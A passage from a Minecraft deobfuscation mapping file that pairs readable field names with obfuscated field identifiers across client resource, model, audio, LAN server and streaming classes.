net/minecraft/client/resources/SkinManager/skinCacheDir net/minecraft/client/resources/SkinManager/field_152796_d +FD: net/minecraft/client/resources/SkinManager/sessionService net/minecraft/client/resources/SkinManager/field_152797_e +FD: net/minecraft/client/resources/SkinManager/skinCacheLoader net/minecraft/client/resources/SkinManager/field_152798_f +FD: net/minecraft/client/resources/I18n/i18nLocale net/minecraft/client/resources/I18n/field_135054_a +FD: net/minecraft/client/resources/Language/languageCode net/minecraft/client/resources/Language/field_135039_a +FD: net/minecraft/client/resources/Language/region net/minecraft/client/resources/Language/field_135037_b +FD: net/minecraft/client/resources/Language/name net/minecraft/client/resources/Language/field_135038_c +FD: net/minecraft/client/resources/Language/bidirectional net/minecraft/client/resources/Language/field_135036_d +FD: net/minecraft/client/resources/LanguageManager/currentLocale net/minecraft/client/resources/LanguageManager/field_135049_a +FD: net/minecraft/client/resources/LanguageManager/logger net/minecraft/client/resources/LanguageManager/field_147648_b +FD: net/minecraft/client/resources/LanguageManager/theMetadataSerializer net/minecraft/client/resources/LanguageManager/field_135047_b +FD: net/minecraft/client/resources/LanguageManager/currentLanguage net/minecraft/client/resources/LanguageManager/field_135048_c +FD: net/minecraft/client/resources/LanguageManager/languageMap net/minecraft/client/resources/LanguageManager/field_135046_d +FD: net/minecraft/client/resources/Locale/properties net/minecraft/client/resources/Locale/field_135032_a +FD: net/minecraft/client/resources/Locale/splitter net/minecraft/client/resources/Locale/field_135030_b +FD: net/minecraft/client/resources/Locale/pattern net/minecraft/client/resources/Locale/field_135031_c +FD: net/minecraft/client/resources/Locale/unicode net/minecraft/client/resources/Locale/field_135029_d +FD: net/minecraft/client/resources/data/IMetadataSerializer$Registration/section net/minecraft/client/resources/data/IMetadataSerializer$Registration/field_110502_a +FD: net/minecraft/client/resources/data/IMetadataSerializer$Registration/clazz net/minecraft/client/resources/data/IMetadataSerializer$Registration/field_110500_b +FD: net/minecraft/client/resources/data/IMetadataSerializer$Registration/field_110501_c net/minecraft/client/resources/data/IMetadataSerializer$Registration/field_110501_c +FD: net/minecraft/client/resources/data/IMetadataSerializer/metadataSectionSerializerRegistry net/minecraft/client/resources/data/IMetadataSerializer/field_110508_a +FD: net/minecraft/client/resources/data/IMetadataSerializer/gsonBuilder net/minecraft/client/resources/data/IMetadataSerializer/field_110506_b +FD: net/minecraft/client/resources/data/IMetadataSerializer/gson net/minecraft/client/resources/data/IMetadataSerializer/field_110507_c +FD: net/minecraft/client/resources/data/AnimationFrame/frameIndex net/minecraft/client/resources/data/AnimationFrame/field_110499_a +FD: net/minecraft/client/resources/data/AnimationFrame/frameTime net/minecraft/client/resources/data/AnimationFrame/field_110498_b +FD: net/minecraft/client/resources/data/AnimationMetadataSection/animationFrames net/minecraft/client/resources/data/AnimationMetadataSection/field_110478_a +FD: net/minecraft/client/resources/data/AnimationMetadataSection/frameWidth net/minecraft/client/resources/data/AnimationMetadataSection/field_110476_b +FD: net/minecraft/client/resources/data/AnimationMetadataSection/frameHeight net/minecraft/client/resources/data/AnimationMetadataSection/field_110477_c +FD: net/minecraft/client/resources/data/AnimationMetadataSection/frameTime net/minecraft/client/resources/data/AnimationMetadataSection/field_110475_d +FD: net/minecraft/client/resources/data/AnimationMetadataSection/interpolate net/minecraft/client/resources/data/AnimationMetadataSection/field_177220_e +FD: net/minecraft/client/resources/data/FontMetadataSection/charWidths net/minecraft/client/resources/data/FontMetadataSection/field_110467_a +FD: net/minecraft/client/resources/data/FontMetadataSection/charLefts net/minecraft/client/resources/data/FontMetadataSection/field_110465_b +FD: net/minecraft/client/resources/data/FontMetadataSection/charSpacings net/minecraft/client/resources/data/FontMetadataSection/field_110466_c +FD: net/minecraft/client/resources/data/LanguageMetadataSection/languages net/minecraft/client/resources/data/LanguageMetadataSection/field_135019_a +FD: net/minecraft/client/resources/data/PackMetadataSection/packDescription net/minecraft/client/resources/data/PackMetadataSection/field_110464_a +FD: net/minecraft/client/resources/data/PackMetadataSection/packFormat net/minecraft/client/resources/data/PackMetadataSection/field_110463_b +FD: net/minecraft/client/resources/data/TextureMetadataSection/textureBlur net/minecraft/client/resources/data/TextureMetadataSection/field_110482_a +FD: net/minecraft/client/resources/data/TextureMetadataSection/textureClamp net/minecraft/client/resources/data/TextureMetadataSection/field_110481_b +FD: net/minecraft/client/resources/data/TextureMetadataSection/listMipmaps net/minecraft/client/resources/data/TextureMetadataSection/field_148536_c +FD: net/minecraft/client/resources/model/ModelRotation/X0_Y0 net/minecraft/client/resources/model/ModelRotation/X0_Y0 +FD: net/minecraft/client/resources/model/ModelRotation/X0_Y90 net/minecraft/client/resources/model/ModelRotation/X0_Y90 +FD: net/minecraft/client/resources/model/ModelRotation/X0_Y180 net/minecraft/client/resources/model/ModelRotation/X0_Y180 +FD: net/minecraft/client/resources/model/ModelRotation/X0_Y270 net/minecraft/client/resources/model/ModelRotation/X0_Y270 +FD: net/minecraft/client/resources/model/ModelRotation/X90_Y0 net/minecraft/client/resources/model/ModelRotation/X90_Y0 +FD: net/minecraft/client/resources/model/ModelRotation/X90_Y90 net/minecraft/client/resources/model/ModelRotation/X90_Y90 +FD: net/minecraft/client/resources/model/ModelRotation/X90_Y180 net/minecraft/client/resources/model/ModelRotation/X90_Y180 +FD: net/minecraft/client/resources/model/ModelRotation/X90_Y270 net/minecraft/client/resources/model/ModelRotation/X90_Y270 +FD: net/minecraft/client/resources/model/ModelRotation/X180_Y0 net/minecraft/client/resources/model/ModelRotation/X180_Y0 +FD: net/minecraft/client/resources/model/ModelRotation/X180_Y90 net/minecraft/client/resources/model/ModelRotation/X180_Y90 +FD: net/minecraft/client/resources/model/ModelRotation/X180_Y180 net/minecraft/client/resources/model/ModelRotation/X180_Y180 +FD: net/minecraft/client/resources/model/ModelRotation/X180_Y270 net/minecraft/client/resources/model/ModelRotation/X180_Y270 +FD: net/minecraft/client/resources/model/ModelRotation/X270_Y0 net/minecraft/client/resources/model/ModelRotation/X270_Y0 +FD: net/minecraft/client/resources/model/ModelRotation/X270_Y90 net/minecraft/client/resources/model/ModelRotation/X270_Y90 +FD: net/minecraft/client/resources/model/ModelRotation/X270_Y180 net/minecraft/client/resources/model/ModelRotation/X270_Y180 +FD: net/minecraft/client/resources/model/ModelRotation/X270_Y270 net/minecraft/client/resources/model/ModelRotation/X270_Y270 +FD: net/minecraft/client/resources/model/ModelRotation/mapRotations net/minecraft/client/resources/model/ModelRotation/field_177546_q +FD: net/minecraft/client/resources/model/ModelRotation/combinedXY net/minecraft/client/resources/model/ModelRotation/field_177545_r +FD: net/minecraft/client/resources/model/ModelRotation/matrix4d net/minecraft/client/resources/model/ModelRotation/field_177544_s +FD: net/minecraft/client/resources/model/ModelRotation/quartersX net/minecraft/client/resources/model/ModelRotation/field_177543_t +FD: net/minecraft/client/resources/model/ModelRotation/quartersY net/minecraft/client/resources/model/ModelRotation/field_177542_u +FD: net/minecraft/client/resources/model/ModelRotation/$VALUES net/minecraft/client/resources/model/ModelRotation/$VALUES +FD: net/minecraft/client/resources/model/BuiltInModel/cameraTransforms net/minecraft/client/resources/model/BuiltInModel/field_177557_a +FD: net/minecraft/client/resources/model/ModelBakery$1/field_177506_a net/minecraft/client/resources/model/ModelBakery$1/field_177506_a +FD: net/minecraft/client/resources/model/ModelBakery$2/field_177061_a net/minecraft/client/resources/model/ModelBakery$2/field_177061_a +FD: net/minecraft/client/resources/model/ModelBakery$2/field_177060_b net/minecraft/client/resources/model/ModelBakery$2/field_177060_b +FD: net/minecraft/client/resources/model/ModelBakery/MODEL_MISSING net/minecraft/client/resources/model/ModelBakery/field_177604_a +FD: net/minecraft/client/resources/model/ModelBakery/LOCATIONS_BUILTIN_TEXTURES net/minecraft/client/resources/model/ModelBakery/field_177602_b +FD: net/minecraft/client/resources/model/ModelBakery/LOGGER net/minecraft/client/resources/model/ModelBakery/field_177603_c +FD: net/minecraft/client/resources/model/ModelBakery/BUILT_IN_MODELS net/minecraft/client/resources/model/ModelBakery/field_177600_d +FD: net/minecraft/client/resources/model/ModelBakery/JOINER net/minecraft/client/resources/model/ModelBakery/field_177601_e +FD: net/minecraft/client/resources/model/ModelBakery/resourceManager net/minecraft/client/resources/model/ModelBakery/field_177598_f +FD: net/minecraft/client/resources/model/ModelBakery/sprites net/minecraft/client/resources/model/ModelBakery/field_177599_g +FD: net/minecraft/client/resources/model/ModelBakery/models net/minecraft/client/resources/model/ModelBakery/field_177611_h +FD: net/minecraft/client/resources/model/ModelBakery/variants net/minecraft/client/resources/model/ModelBakery/field_177612_i +FD: net/minecraft/client/resources/model/ModelBakery/textureMap net/minecraft/client/resources/model/ModelBakery/field_177609_j +FD: net/minecraft/client/resources/model/ModelBakery/blockModelShapes net/minecraft/client/resources/model/ModelBakery/field_177610_k +FD: net/minecraft/client/resources/model/ModelBakery/faceBakery net/minecraft/client/resources/model/ModelBakery/field_177607_l +FD: net/minecraft/client/resources/model/ModelBakery/itemModelGenerator net/minecraft/client/resources/model/ModelBakery/field_177608_m +FD: net/minecraft/client/resources/model/ModelBakery/bakedRegistry net/minecraft/client/resources/model/ModelBakery/field_177605_n +FD: net/minecraft/client/resources/model/ModelBakery/MODEL_GENERATED net/minecraft/client/resources/model/ModelBakery/field_177606_o +FD: net/minecraft/client/resources/model/ModelBakery/MODEL_COMPASS net/minecraft/client/resources/model/ModelBakery/field_177618_p +FD: net/minecraft/client/resources/model/ModelBakery/MODEL_CLOCK net/minecraft/client/resources/model/ModelBakery/field_177617_q +FD: net/minecraft/client/resources/model/ModelBakery/MODEL_ENTITY net/minecraft/client/resources/model/ModelBakery/field_177616_r +FD: net/minecraft/client/resources/model/ModelBakery/itemLocations net/minecraft/client/resources/model/ModelBakery/field_177615_s +FD: net/minecraft/client/resources/model/ModelBakery/blockDefinitions net/minecraft/client/resources/model/ModelBakery/field_177614_t +FD: net/minecraft/client/resources/model/ModelBakery/variantNames net/minecraft/client/resources/model/ModelBakery/field_177613_u +FD: net/minecraft/client/resources/model/ModelManager/modelRegistry net/minecraft/client/resources/model/ModelManager/field_174958_a +FD: net/minecraft/client/resources/model/ModelManager/texMap net/minecraft/client/resources/model/ModelManager/field_174956_b +FD: net/minecraft/client/resources/model/ModelManager/modelProvider net/minecraft/client/resources/model/ModelManager/field_174957_c +FD: net/minecraft/client/resources/model/ModelManager/defaultModel net/minecraft/client/resources/model/ModelManager/field_174955_d +FD: net/minecraft/client/resources/model/ModelResourceLocation/variant net/minecraft/client/resources/model/ModelResourceLocation/field_177519_c +FD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/builderGeneralQuads net/minecraft/client/resources/model/SimpleBakedModel$Builder/field_177656_a +FD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/builderFaceQuads net/minecraft/client/resources/model/SimpleBakedModel$Builder/field_177654_b +FD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/builderAmbientOcclusion net/minecraft/client/resources/model/SimpleBakedModel$Builder/field_177655_c +FD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/builderTexture net/minecraft/client/resources/model/SimpleBakedModel$Builder/field_177652_d +FD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/builderGui3d net/minecraft/client/resources/model/SimpleBakedModel$Builder/field_177653_e +FD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/builderCameraTransforms net/minecraft/client/resources/model/SimpleBakedModel$Builder/field_177651_f +FD: net/minecraft/client/resources/model/SimpleBakedModel/generalQuads net/minecraft/client/resources/model/SimpleBakedModel/field_177563_a +FD: net/minecraft/client/resources/model/SimpleBakedModel/faceQuads net/minecraft/client/resources/model/SimpleBakedModel/field_177561_b +FD: net/minecraft/client/resources/model/SimpleBakedModel/ambientOcclusion net/minecraft/client/resources/model/SimpleBakedModel/field_177562_c +FD: net/minecraft/client/resources/model/SimpleBakedModel/gui3d net/minecraft/client/resources/model/SimpleBakedModel/field_177559_d +FD: net/minecraft/client/resources/model/SimpleBakedModel/texture net/minecraft/client/resources/model/SimpleBakedModel/field_177560_e +FD: net/minecraft/client/resources/model/SimpleBakedModel/cameraTransforms net/minecraft/client/resources/model/SimpleBakedModel/field_177558_f +FD: net/minecraft/client/resources/model/WeightedBakedModel$Builder/listItems net/minecraft/client/resources/model/WeightedBakedModel$Builder/field_177678_a +FD: net/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem/model net/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem/field_177636_b +FD: net/minecraft/client/resources/model/WeightedBakedModel/totalWeight net/minecraft/client/resources/model/WeightedBakedModel/field_177567_a +FD: net/minecraft/client/resources/model/WeightedBakedModel/models net/minecraft/client/resources/model/WeightedBakedModel/field_177565_b +FD: net/minecraft/client/resources/model/WeightedBakedModel/baseModel net/minecraft/client/resources/model/WeightedBakedModel/field_177566_c +FD: net/minecraft/client/audio/PositionedSound/positionedSoundLocation net/minecraft/client/audio/PositionedSound/field_147664_a +FD: net/minecraft/client/audio/PositionedSound/volume net/minecraft/client/audio/PositionedSound/field_147662_b +FD: net/minecraft/client/audio/PositionedSound/pitch net/minecraft/client/audio/PositionedSound/field_147663_c +FD: net/minecraft/client/audio/PositionedSound/xPosF net/minecraft/client/audio/PositionedSound/field_147660_d +FD: net/minecraft/client/audio/PositionedSound/yPosF net/minecraft/client/audio/PositionedSound/field_147661_e +FD: net/minecraft/client/audio/PositionedSound/zPosF net/minecraft/client/audio/PositionedSound/field_147658_f +FD: net/minecraft/client/audio/PositionedSound/repeat net/minecraft/client/audio/PositionedSound/field_147659_g +FD: net/minecraft/client/audio/PositionedSound/repeatDelay net/minecraft/client/audio/PositionedSound/field_147665_h +FD: net/minecraft/client/audio/PositionedSound/attenuationType net/minecraft/client/audio/PositionedSound/field_147666_i +FD: net/minecraft/client/audio/MovingSound/donePlaying net/minecraft/client/audio/MovingSound/field_147668_j +FD: net/minecraft/client/audio/GuardianSound/guardian net/minecraft/client/audio/GuardianSound/field_174934_k +FD: net/minecraft/client/audio/MovingSoundMinecart/minecart net/minecraft/client/audio/MovingSoundMinecart/field_147670_k +FD: net/minecraft/client/audio/MovingSoundMinecart/distance net/minecraft/client/audio/MovingSoundMinecart/field_147669_l +FD: net/minecraft/client/audio/MovingSoundMinecartRiding/player net/minecraft/client/audio/MovingSoundMinecartRiding/field_147672_k +FD: net/minecraft/client/audio/MovingSoundMinecartRiding/minecart net/minecraft/client/audio/MovingSoundMinecartRiding/field_147671_l +FD: net/minecraft/client/audio/SoundCategory/MASTER net/minecraft/client/audio/SoundCategory/MASTER +FD: net/minecraft/client/audio/SoundCategory/MUSIC net/minecraft/client/audio/SoundCategory/MUSIC +FD: net/minecraft/client/audio/SoundCategory/RECORDS net/minecraft/client/audio/SoundCategory/RECORDS +FD: net/minecraft/client/audio/SoundCategory/WEATHER net/minecraft/client/audio/SoundCategory/WEATHER +FD: net/minecraft/client/audio/SoundCategory/BLOCKS net/minecraft/client/audio/SoundCategory/BLOCKS +FD: net/minecraft/client/audio/SoundCategory/MOBS net/minecraft/client/audio/SoundCategory/MOBS +FD: net/minecraft/client/audio/SoundCategory/ANIMALS net/minecraft/client/audio/SoundCategory/ANIMALS +FD: net/minecraft/client/audio/SoundCategory/PLAYERS net/minecraft/client/audio/SoundCategory/PLAYERS +FD: net/minecraft/client/audio/SoundCategory/AMBIENT net/minecraft/client/audio/SoundCategory/AMBIENT +FD: net/minecraft/client/audio/SoundCategory/NAME_CATEGORY_MAP net/minecraft/client/audio/SoundCategory/field_147168_j +FD: net/minecraft/client/audio/SoundCategory/ID_CATEGORY_MAP net/minecraft/client/audio/SoundCategory/field_147169_k +FD: net/minecraft/client/audio/SoundCategory/categoryName net/minecraft/client/audio/SoundCategory/field_147166_l +FD: net/minecraft/client/audio/SoundCategory/categoryId net/minecraft/client/audio/SoundCategory/field_147167_m +FD: net/minecraft/client/audio/SoundCategory/$VALUES net/minecraft/client/audio/SoundCategory/$VALUES +FD: net/minecraft/client/audio/SoundList$SoundEntry$Type/FILE net/minecraft/client/audio/SoundList$SoundEntry$Type/FILE +FD: net/minecraft/client/audio/SoundList$SoundEntry$Type/SOUND_EVENT net/minecraft/client/audio/SoundList$SoundEntry$Type/SOUND_EVENT +FD: net/minecraft/client/audio/SoundList$SoundEntry$Type/field_148583_c net/minecraft/client/audio/SoundList$SoundEntry$Type/field_148583_c +FD: net/minecraft/client/audio/SoundList$SoundEntry$Type/$VALUES net/minecraft/client/audio/SoundList$SoundEntry$Type/$VALUES +FD: net/minecraft/client/audio/SoundList$SoundEntry/name net/minecraft/client/audio/SoundList$SoundEntry/field_148569_a +FD: net/minecraft/client/audio/SoundList$SoundEntry/volume net/minecraft/client/audio/SoundList$SoundEntry/field_148567_b +FD: net/minecraft/client/audio/SoundList$SoundEntry/pitch net/minecraft/client/audio/SoundList$SoundEntry/field_148568_c +FD: net/minecraft/client/audio/SoundList$SoundEntry/weight net/minecraft/client/audio/SoundList$SoundEntry/field_148565_d +FD: net/minecraft/client/audio/SoundList$SoundEntry/type net/minecraft/client/audio/SoundList$SoundEntry/field_148566_e +FD: net/minecraft/client/audio/SoundList$SoundEntry/streaming net/minecraft/client/audio/SoundList$SoundEntry/field_148564_f +FD: net/minecraft/client/audio/SoundList/soundList net/minecraft/client/audio/SoundList/field_148577_a +FD: net/minecraft/client/audio/SoundList/replaceExisting net/minecraft/client/audio/SoundList/field_148575_b +FD: net/minecraft/client/audio/SoundList/category net/minecraft/client/audio/SoundList/field_148576_c +FD: net/minecraft/client/audio/ISound$AttenuationType/NONE net/minecraft/client/audio/ISound$AttenuationType/NONE +FD: net/minecraft/client/audio/ISound$AttenuationType/LINEAR net/minecraft/client/audio/ISound$AttenuationType/LINEAR +FD: net/minecraft/client/audio/ISound$AttenuationType/type net/minecraft/client/audio/ISound$AttenuationType/field_148589_c +FD: net/minecraft/client/audio/ISound$AttenuationType/$VALUES net/minecraft/client/audio/ISound$AttenuationType/$VALUES +FD: net/minecraft/server/integrated/IntegratedPlayerList/hostPlayerData net/minecraft/server/integrated/IntegratedPlayerList/field_72416_e +FD: net/minecraft/server/integrated/IntegratedServer$1/field_76974_a net/minecraft/server/integrated/IntegratedServer$1/field_76974_a +FD: net/minecraft/server/integrated/IntegratedServer$2/field_76972_a net/minecraft/server/integrated/IntegratedServer$2/field_76972_a +FD: net/minecraft/server/integrated/IntegratedServer$3/field_177494_a net/minecraft/server/integrated/IntegratedServer$3/field_177494_a +FD: net/minecraft/server/integrated/IntegratedServer/logger net/minecraft/server/integrated/IntegratedServer/field_147148_h +FD: net/minecraft/server/integrated/IntegratedServer/mc net/minecraft/server/integrated/IntegratedServer/field_71349_l +FD: net/minecraft/server/integrated/IntegratedServer/theWorldSettings net/minecraft/server/integrated/IntegratedServer/field_71350_m +FD: net/minecraft/server/integrated/IntegratedServer/isGamePaused net/minecraft/server/integrated/IntegratedServer/field_71348_o +FD: net/minecraft/server/integrated/IntegratedServer/isPublic net/minecraft/server/integrated/IntegratedServer/field_71346_p +FD: net/minecraft/server/integrated/IntegratedServer/lanServerPing net/minecraft/server/integrated/IntegratedServer/field_71345_q +FD: net/minecraft/client/network/LanServerDetector$LanServer/lanServerMotd net/minecraft/client/network/LanServerDetector$LanServer/field_77492_a +FD: net/minecraft/client/network/LanServerDetector$LanServer/lanServerIpPort net/minecraft/client/network/LanServerDetector$LanServer/field_77490_b +FD: net/minecraft/client/network/LanServerDetector$LanServer/timeLastSeen net/minecraft/client/network/LanServerDetector$LanServer/field_77491_c +FD: net/minecraft/client/network/LanServerDetector$ThreadLanServerFind/localServerList net/minecraft/client/network/LanServerDetector$ThreadLanServerFind/field_77500_a +FD: net/minecraft/client/network/LanServerDetector$ThreadLanServerFind/broadcastAddress net/minecraft/client/network/LanServerDetector$ThreadLanServerFind/field_77498_b +FD: net/minecraft/client/network/LanServerDetector$ThreadLanServerFind/socket net/minecraft/client/network/LanServerDetector$ThreadLanServerFind/field_77499_c +FD: net/minecraft/client/network/LanServerDetector$LanServerList/wasUpdated net/minecraft/client/network/LanServerDetector$LanServerList/field_77556_a +FD: net/minecraft/client/network/LanServerDetector$LanServerList/listOfLanServers net/minecraft/client/network/LanServerDetector$LanServerList/field_77555_b +FD: net/minecraft/client/network/LanServerDetector/field_148551_a net/minecraft/client/network/LanServerDetector/field_148551_a +FD: net/minecraft/client/network/LanServerDetector/logger net/minecraft/client/network/LanServerDetector/field_148550_b +FD: net/minecraft/client/multiplayer/ThreadLanServerPing/field_148658_a net/minecraft/client/multiplayer/ThreadLanServerPing/field_148658_a +FD: net/minecraft/client/multiplayer/ThreadLanServerPing/logger net/minecraft/client/multiplayer/ThreadLanServerPing/field_148657_b +FD: net/minecraft/client/multiplayer/ThreadLanServerPing/motd net/minecraft/client/multiplayer/ThreadLanServerPing/field_77528_b +FD: net/minecraft/client/multiplayer/ThreadLanServerPing/socket net/minecraft/client/multiplayer/ThreadLanServerPing/field_77529_c +FD: net/minecraft/client/multiplayer/ThreadLanServerPing/isStopping net/minecraft/client/multiplayer/ThreadLanServerPing/field_77526_d +FD: net/minecraft/client/multiplayer/ThreadLanServerPing/address net/minecraft/client/multiplayer/ThreadLanServerPing/field_77527_e +FD: net/minecraft/client/audio/MusicTicker$MusicType/MENU net/minecraft/client/audio/MusicTicker$MusicType/MENU +FD: net/minecraft/client/audio/MusicTicker$MusicType/GAME net/minecraft/client/audio/MusicTicker$MusicType/GAME +FD: net/minecraft/client/audio/MusicTicker$MusicType/CREATIVE net/minecraft/client/audio/MusicTicker$MusicType/CREATIVE +FD: net/minecraft/client/audio/MusicTicker$MusicType/CREDITS net/minecraft/client/audio/MusicTicker$MusicType/CREDITS +FD: net/minecraft/client/audio/MusicTicker$MusicType/NETHER net/minecraft/client/audio/MusicTicker$MusicType/NETHER +FD: net/minecraft/client/audio/MusicTicker$MusicType/END_BOSS net/minecraft/client/audio/MusicTicker$MusicType/END_BOSS +FD: net/minecraft/client/audio/MusicTicker$MusicType/END net/minecraft/client/audio/MusicTicker$MusicType/END +FD: net/minecraft/client/audio/MusicTicker$MusicType/musicLocation net/minecraft/client/audio/MusicTicker$MusicType/field_148645_h +FD: net/minecraft/client/audio/MusicTicker$MusicType/minDelay net/minecraft/client/audio/MusicTicker$MusicType/field_148646_i +FD: net/minecraft/client/audio/MusicTicker$MusicType/maxDelay net/minecraft/client/audio/MusicTicker$MusicType/field_148643_j +FD: net/minecraft/client/audio/MusicTicker$MusicType/$VALUES net/minecraft/client/audio/MusicTicker$MusicType/$VALUES +FD: net/minecraft/client/audio/MusicTicker/rand net/minecraft/client/audio/MusicTicker/field_147679_a +FD: net/minecraft/client/audio/MusicTicker/mc net/minecraft/client/audio/MusicTicker/field_147677_b +FD: net/minecraft/client/audio/MusicTicker/currentMusic net/minecraft/client/audio/MusicTicker/field_147678_c +FD: net/minecraft/client/audio/MusicTicker/timeUntilNextMusic net/minecraft/client/audio/MusicTicker/field_147676_d +FD: net/minecraft/client/audio/SoundPoolEntry/location net/minecraft/client/audio/SoundPoolEntry/field_148656_a +FD: net/minecraft/client/audio/SoundPoolEntry/streamingSound net/minecraft/client/audio/SoundPoolEntry/field_148654_b +FD: net/minecraft/client/audio/SoundPoolEntry/pitch net/minecraft/client/audio/SoundPoolEntry/field_148655_c +FD: net/minecraft/client/audio/SoundPoolEntry/volume net/minecraft/client/audio/SoundPoolEntry/field_148653_d +FD: net/minecraft/client/audio/SoundManager$1$1/field_177950_a net/minecraft/client/audio/SoundManager$1$1/field_177950_a +FD: net/minecraft/client/audio/SoundManager$1/field_148631_a net/minecraft/client/audio/SoundManager$1/field_148631_a +FD: net/minecraft/client/audio/SoundManager$2$1/field_148593_a net/minecraft/client/audio/SoundManager$2$1/field_148593_a +FD: net/minecraft/client/audio/SoundManager$2/field_148592_a net/minecraft/client/audio/SoundManager$2/field_148592_a +FD: net/minecraft/client/audio/SoundManager$SoundSystemStarterThread/field_148591_a net/minecraft/client/audio/SoundManager$SoundSystemStarterThread/field_148591_a +FD: net/minecraft/client/audio/SoundManager/LOG_MARKER net/minecraft/client/audio/SoundManager/field_148623_a +FD: net/minecraft/client/audio/SoundManager/logger net/minecraft/client/audio/SoundManager/field_148621_b +FD: net/minecraft/client/audio/SoundManager/sndHandler net/minecraft/client/audio/SoundManager/field_148622_c +FD: net/minecraft/client/audio/SoundManager/options net/minecraft/client/audio/SoundManager/field_148619_d +FD: net/minecraft/client/audio/SoundManager/sndSystem net/minecraft/client/audio/SoundManager/field_148620_e +FD: net/minecraft/client/audio/SoundManager/loaded net/minecraft/client/audio/SoundManager/field_148617_f +FD: net/minecraft/client/audio/SoundManager/playTime net/minecraft/client/audio/SoundManager/field_148618_g +FD: net/minecraft/client/audio/SoundManager/playingSounds net/minecraft/client/audio/SoundManager/field_148629_h +FD: net/minecraft/client/audio/SoundManager/invPlayingSounds net/minecraft/client/audio/SoundManager/field_148630_i +FD: net/minecraft/client/audio/SoundManager/playingSoundPoolEntries net/minecraft/client/audio/SoundManager/field_148627_j +FD: net/minecraft/client/audio/SoundManager/categorySounds net/minecraft/client/audio/SoundManager/field_148628_k +FD: net/minecraft/client/audio/SoundManager/tickableSounds net/minecraft/client/audio/SoundManager/field_148625_l +FD: net/minecraft/client/audio/SoundManager/delayedSounds net/minecraft/client/audio/SoundManager/field_148626_m +FD: net/minecraft/client/audio/SoundManager/playingSoundsStopTime net/minecraft/client/audio/SoundManager/field_148624_n +FD: net/minecraft/client/audio/SoundEventAccessorComposite/soundPool net/minecraft/client/audio/SoundEventAccessorComposite/field_148736_a +FD: net/minecraft/client/audio/SoundEventAccessorComposite/rnd net/minecraft/client/audio/SoundEventAccessorComposite/field_148734_b +FD: net/minecraft/client/audio/SoundEventAccessorComposite/soundLocation net/minecraft/client/audio/SoundEventAccessorComposite/field_148735_c +FD: net/minecraft/client/audio/SoundEventAccessorComposite/category net/minecraft/client/audio/SoundEventAccessorComposite/field_148732_d +FD: net/minecraft/client/audio/SoundEventAccessorComposite/eventPitch net/minecraft/client/audio/SoundEventAccessorComposite/field_148733_e +FD: net/minecraft/client/audio/SoundEventAccessorComposite/eventVolume net/minecraft/client/audio/SoundEventAccessorComposite/field_148731_f +FD: net/minecraft/client/audio/SoundHandler$2/field_148726_a net/minecraft/client/audio/SoundHandler$2/field_148726_a +FD: net/minecraft/client/audio/SoundHandler$2/field_148724_b net/minecraft/client/audio/SoundHandler$2/field_148724_b +FD: net/minecraft/client/audio/SoundHandler$2/field_148725_c net/minecraft/client/audio/SoundHandler$2/field_148725_c +FD: net/minecraft/client/audio/SoundHandler$2/field_148723_d net/minecraft/client/audio/SoundHandler$2/field_148723_d +FD: net/minecraft/client/audio/SoundHandler$3/field_148765_a net/minecraft/client/audio/SoundHandler$3/field_148765_a +FD: net/minecraft/client/audio/SoundHandler/missing_sound net/minecraft/client/audio/SoundHandler/field_147700_a +FD: net/minecraft/client/audio/SoundHandler/logger net/minecraft/client/audio/SoundHandler/field_147698_b +FD: net/minecraft/client/audio/SoundHandler/GSON net/minecraft/client/audio/SoundHandler/field_147699_c +FD: net/minecraft/client/audio/SoundHandler/TYPE net/minecraft/client/audio/SoundHandler/field_147696_d +FD: net/minecraft/client/audio/SoundHandler/sndRegistry net/minecraft/client/audio/SoundHandler/field_147697_e +FD: net/minecraft/client/audio/SoundHandler/sndManager net/minecraft/client/audio/SoundHandler/field_147694_f +FD: net/minecraft/client/audio/SoundHandler/mcResourceManager net/minecraft/client/audio/SoundHandler/field_147695_g +FD: net/minecraft/client/audio/SoundRegistry/soundRegistry net/minecraft/client/audio/SoundRegistry/field_148764_a +FD: net/minecraft/client/audio/SoundEventAccessor/entry net/minecraft/client/audio/SoundEventAccessor/field_148739_a +FD: net/minecraft/client/audio/SoundEventAccessor/weight net/minecraft/client/audio/SoundEventAccessor/field_148738_b +FD: net/minecraft/client/stream/Metadata/field_152811_a net/minecraft/client/stream/Metadata/field_152811_a +FD: net/minecraft/client/stream/Metadata/name net/minecraft/client/stream/Metadata/field_152812_b +FD: net/minecraft/client/stream/Metadata/description net/minecraft/client/stream/Metadata/field_152813_c +FD: net/minecraft/client/stream/Metadata/payload net/minecraft/client/stream/Metadata/field_152814_d +FD: net/minecraft/client/stream/BroadcastController$1/field_177945_a net/minecraft/client/stream/BroadcastController$1/field_177945_a +FD: net/minecraft/client/stream/BroadcastController$2/field_177772_a net/minecraft/client/stream/BroadcastController$2/field_177772_a +FD: net/minecraft/client/stream/BroadcastController$3/field_177773_a net/minecraft/client/stream/BroadcastController$3/field_177773_a +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/Uninitialized net/minecraft/client/stream/BroadcastController$BroadcastState/Uninitialized +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/Initialized net/minecraft/client/stream/BroadcastController$BroadcastState/Initialized +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/Authenticating net/minecraft/client/stream/BroadcastController$BroadcastState/Authenticating +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/Authenticated net/minecraft/client/stream/BroadcastController$BroadcastState/Authenticated +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/LoggingIn net/minecraft/client/stream/BroadcastController$BroadcastState/LoggingIn +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/LoggedIn net/minecraft/client/stream/BroadcastController$BroadcastState/LoggedIn +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/FindingIngestServer net/minecraft/client/stream/BroadcastController$BroadcastState/FindingIngestServer +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/ReceivedIngestServers net/minecraft/client/stream/BroadcastController$BroadcastState/ReceivedIngestServers +FD: net/minecraft/client/stream/BroadcastController$BroadcastState/ReadyToBroadcast net/minecraft/client/stream/BroadcastController$BroadcastState/ReadyToBroadcast +FD: 